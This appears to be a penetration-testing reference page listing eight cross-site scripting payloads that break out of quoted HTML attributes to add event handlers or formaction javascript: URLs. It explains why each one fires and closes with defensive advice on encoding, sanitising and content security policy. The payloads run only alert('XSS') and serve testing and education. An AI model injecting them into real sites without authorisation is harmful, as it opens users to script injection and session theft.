Skip to content

Event Handler XSS Payloads

8 payloadsFor authorized testing only

When your input is reflected inside an HTML tag attribute rather than the body, you don't need a new element — you break out of the current attribute value and add an event handler attribute. The classic shape is a closing quote followed by on...=payload.

The strongest variants fire with no user interaction: autofocus+onfocus, a broken src+onerror, or a CSS animation+onanimationstart. The payloads below assume a double-quoted attribute context; swap the quote for a single quote if the target uses one.

Attribute onclick injection

HTML attributeseverity: low
" onclick=alert("XSS") x="
Context
Value reflected inside a quoted HTML attribute.
What it needs
The value sits in a double-quoted attribute you can close with ".
Why it works
The closing quote ends the attribute and onclick adds a handler that fires on click.

Attribute onmouseover injection

HTML attributeseverity: low
" onmouseover=alert("XSS") x="
Context
Value reflected inside a quoted HTML attribute.
What it needs
A quoted attribute context.
Why it works
Breaks out of the attribute and runs on hover.

Attribute onfocus with autofocus

HTML attributeseverity: low
" onfocus=alert("XSS") autofocus x="
Context
Value reflected inside a quoted HTML attribute.
What it needs
A focusable element accepted at the injection point.
Why it works
autofocus makes the handler fire automatically, with no user action.

Attribute onerror injection

HTML attributeseverity: low
" onerror=alert("XSS") src=x x="
Context
Value reflected inside a quoted HTML attribute.
What it needs
A quoted attribute context.
Why it works
Adds src=x so the element errors and onerror fires on its own.

Attribute onload injection

HTML attributeseverity: low
" onload=alert("XSS") x="
Context
Value reflected inside a quoted HTML attribute.
What it needs
A quoted attribute context on a loadable element.
Why it works
Breaks out and fires once the element loads.

CSS animation event handler

HTML attributeseverity: medium
" onanimationstart=alert("XSS") style="animation:x" x="
Context
Value reflected inside a quoted HTML attribute.
What it needs
Inline style allowed on the element.
Why it works
The style starts a CSS animation, so onanimationstart fires without interaction.

Button formaction javascript: bypass

HTML bodyseverity: medium
<form><button formaction="javascript:alert('XSS')" type="submit">click</button></form>
Context
HTML body inside or around a form.
What it needs
A form present and submit buttons allowed.
Why it works
formaction overrides the form's action with a javascript: URL.

Input formaction javascript: bypass

HTML bodyseverity: medium
<form><input formaction="javascript:alert('XSS')" type="submit" value="click">
Context
HTML body inside or around a form.
What it needs
A form present and submit inputs allowed.
Why it works
A submit input's formaction runs the javascript: URL.

Defense

  • Attribute-encode untrusted data (including quotes) placed inside HTML attributes.
  • Always quote attribute values; unquoted attributes make breakout trivial.
  • Disallow on* attributes when sanitizing untrusted HTML.
  • Apply a CSP that blocks inline event handlers (no unsafe-inline).

Keep testing